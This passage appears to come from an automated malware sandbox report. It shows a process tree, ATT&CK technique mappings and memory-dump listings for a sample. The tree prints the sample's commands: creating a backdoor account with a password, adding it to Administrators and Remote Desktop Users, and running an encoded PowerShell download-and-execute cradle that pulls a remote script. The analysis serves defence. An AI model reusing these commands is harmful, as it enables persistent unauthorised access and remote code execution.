- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 2iRY27Ot /add
    3⤵
    PID:3424

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3980

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:2408
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3428

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 2iRY27Ot
1⤵
PID:2604
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 2iRY27Ot
  2⤵
  PID:3864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 2iRY27Ot
    3⤵
    PID:4044

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3720
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3876

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1312
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:956

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1464
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:748

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:956
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:3888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/428-129-0x00000191DF740000-0x00000191DF742000-memory.dmp

Filesize
8KB

Download
memory/428-127-0x00000191DFB80000-0x00000191DFFA1000-memory.dmp

Filesize
4.1MB

Download
memory/428-132-0x00000191DF746000-0x00000191DF747000-memory.dmp

Filesize
4KB

Download
memory/428-130-0x00000191DF743000-0x00000191DF745000-memory.dmp

Filesize
8KB

Download
memory/428-131-0x00000191DF745000-0x00000191DF746000-memory.dmp

Filesize
4KB

Download
memory/748-255-0x000001DDD40D0000-0x000001DDD40D2000-memory.dmp

Filesize
8KB

Download
memory/748-257-0x000001DDD40D6000-0x000001DDD40D8000-memory.dmp

Filesize
8KB

Download
memory/748-258-0x000001DDD40D8000-0x000001DDD40D9000-memory.dmp

Filesize
4KB

Download
memory/748-256-0x000001DDD40D3000-0x000001DDD40D5000-memory.dmp

Filesize
8KB

Download
memory/1480-217-0x00000194ED8A6000-0x00000194ED8A8000-memory.dmp

Filesize
8KB

Download
memory/1480-218-0x00000194ED8A8000-0x00000194ED8AA000-memory.dmp

Filesize
8KB

Download
memory/1480-214-0x00000194ED8A0000-0x00000194ED8A2000-memory.dmp

Filesize
8KB

Download
memory/1480-215-0x00000194ED8A3000-0x00000194ED8A5000-memory.dmp

Filesize
8KB

Download
memory/2676-223-0x00000217B9F28000-0x00000217B9F29000-memory.dmp

Filesize
4KB

Download
memory/2676-165-0x00000217BA890000-0x00000217BA891000-memory.dmp

Filesize
4KB

Download
memory/2676-144-0x00000217B9F23000-0x00000217B9F25000-memory.dmp

Filesize
8KB

Download
memory/2676-138-0x00000217A0140000-0x00000217A0141000-memory.dmp

Filesize
4KB

Download
memory/2676-143-0x00000217B9F20000-0x00000217B9F22000-memory.dmp

Filesize
8KB

Download
memory/2676-141-0x00000217BA0B0000-0x00000217BA0B1000-memory.dmp

Filesize
4KB

Download
memory/2676-157-0x00000217B9EF0000-0x00000217B9EF1000-memory.dmp

Filesize
4KB

Download
memory/2676-164-0x00000217BA500000-0x00000217BA501000-memory.dmp

Filesize
4KB

Download
memory/2676-159-0x00000217B9F26000-0x00000217B9F28000-memory.dmp

Filesize
8KB

Download
memory/3424-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/3424-114-0x0000000002110000-0x00000000021A1000-memory.dmp

Filesize
580KB

Download
memory/3720-221-0x0000027177496000-0x0000027177498000-memory.dmp

Filesize
8KB

Download
memory/3720-219-0x0000027177490000-0x0000027177492000-memory.dmp

Filesize
8KB

Download
memory/3720-220-0x0000027177493000-0x0000027177495000-memory.dmp

Filesize
8KB

Download
memory/3720-222-0x0000027177498000-0x000002717749A000-memory.dmp

Filesize
8KB

Download
memory/3748-183-0x000002A529DD3000-0x000002A529DD5000-memory.dmp

Filesize
8KB

Download
memory/3748-182-0x000002A529DD0000-0x000002A529DD2000-memory.dmp

Filesize
8KB

Download
memory/3748-202-0x000002A529DD6000-0x000002A529DD8000-memory.dmp

Filesize
8KB

Download
memory/3748-213-0x000002A529DD8000-0x000002A529DDA000-memory.dmp

Filesize
8KB

Download